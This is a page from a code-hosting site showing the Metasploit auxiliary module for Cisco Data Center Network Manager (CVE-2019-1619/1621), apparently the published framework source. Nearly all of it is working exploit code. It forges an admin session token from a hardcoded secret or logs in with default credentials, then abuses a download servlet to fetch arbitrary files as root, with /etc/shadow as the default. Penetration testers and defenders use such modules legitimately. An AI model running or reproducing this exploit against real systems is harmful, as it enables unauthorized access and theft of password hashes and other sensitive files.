Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/networking/cisco_dcnm_download.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary67include Msf::Auxiliary::Report8include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Deprecated10moved_from 'auxiliary/admin/cisco/cisco_dcnm_download'1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Cisco Data Center Network Manager Unauthenticated File Download',17'Description' => %q{18DCNM exposes a servlet to download files on /fm/downloadServlet.19An authenticated user can abuse this servlet to download arbitrary files as root by specifying20the full path of the file.21This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should22work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit23(see References to understand why).24},25'Author' =>26[27'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module28],29'License' => MSF_LICENSE,30'References' =>31[32[ 'CVE', '2019-1619' ],33[ 'CVE', '2019-1621' ],34[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],35[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-file-dwnld' ],36[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-dcnm-rce.txt' ],37[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]38],39'DisclosureDate' => '2019-06-26'40)41)4243register_options(44[45Opt::RPORT(443),46OptBool.new('SSL', [true, 'Connect with TLS', true]),47OptString.new('TARGETURI', [true, 'Default server path', '/']),48OptString.new('USERNAME', [true, 'Username for auth (required only for 11.0(1)', 'admin']),49OptString.new('PASSWORD', [true, 'Password for auth (required only for 11.0(1)', 'admin']),50OptString.new('FILEPATH', [false, 'Path of the file to download', '/etc/shadow']),51]52)53end5455def auth_v1156res = send_request_cgi(57'uri' => normalize_uri(target_uri.path, 'fm/'),58'method' => 'GET',59'vars_get' =>60{61'userName' => datastore['USERNAME'],62'password' => datastore['PASSWORD']63}64)6566if res && res.code == 20067# get the JSESSIONID cookie68if res.get_cookies69res.get_cookies.split(';').each do |cok|70if cok.include?('JSESSIONID')71return cok72end73end74end75end76end7778def auth_v1079# step 1: get a JSESSIONID cookie and the server Date header80res = send_request_cgi({81'uri' => normalize_uri(target_uri.path, 'fm/'),82'method' => 'GET'83})8485# step 2: convert the Date header and create the auth hash86if res && res.headers['Date']87jsession = res.get_cookies.split(';')[0]88date = Time.httpdate(res.headers['Date'])89server_date = date.strftime('%s').to_i * 100090print_good("#{peer} - Got sysTime value #{server_date}")9192# auth hash format:93# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF94session_id = rand(1000..50000).to_s95md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +96'POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF'97md5_str = Base64.strict_encode64(md5)9899# step 3: authenticate our cookie as admin100# token format: sessionId.sysTime.md5_str.username101res = send_request_cgi(102'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),103'cookie' => jsession,104'vars_get' =>105{106'token' => "#{session_id}.#{server_date}.#{md5_str}.admin"107},108'method' => 'GET'109)110111if res && res.code == 500112return jsession113end114end115end116117def run118res = send_request_cgi(119'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about', 'version'),120'method' => 'GET'121)122noauth = false123124if res && res.code == 200125if res.body.include?('version":"11.1(1)')126print_good("#{peer} - Detected DCNM 11.1(1)")127print_status("#{peer} - No authentication required, ready to exploit!")128noauth = true129elsif res.body.include?('version":"11.0(1)')130print_good("#{peer} - Detected DCNM 11.0(1)")131print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")132jsession = auth_v11133elsif res.body.include?('version":"10.4(2)')134print_good("#{peer} - Detected DCNM 10.4(2)")135print_status("#{peer} - No authentication required, ready to exploit!")136jsession = auth_v10137else138print_error("#{peer} - Failed to detect module version.")139print_error('Please contact module author or add the target yourself and submit a PR to the Metasploit project!')140print_error(res.body)141print_error("#{peer} - Trying unauthenticated method for DCNM 10.4(2) and below...")142jsession = auth_v10143end144end145146if jsession || noauth147print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")148else149fail_with(Failure::Unknown, "#{peer} - Failed to authenticate JSESSIONID cookie")150end151152res = send_request_cgi(153'uri' => normalize_uri(target_uri.path, 'fm', 'downloadServlet'),154'method' => 'GET',155'cookie' => jsession,156'vars_get' => {157'showFile' => datastore['FILEPATH']158}159)160161if res && res.code == 200 && !res.body.empty?162filedata = res.body163vprint_line(filedata.to_s)164fname = File.basename(datastore['FILEPATH'])165166path = store_loot(167'cisco-DCNM.http',168'application/octet-stream',169datastore['RHOST'],170filedata,171fname172)173print_good("File saved in: #{path}")174else175fail_with(Failure::Unknown, "#{peer} - Failed to download file #{datastore['FILEPATH']}")176end177end178end179180181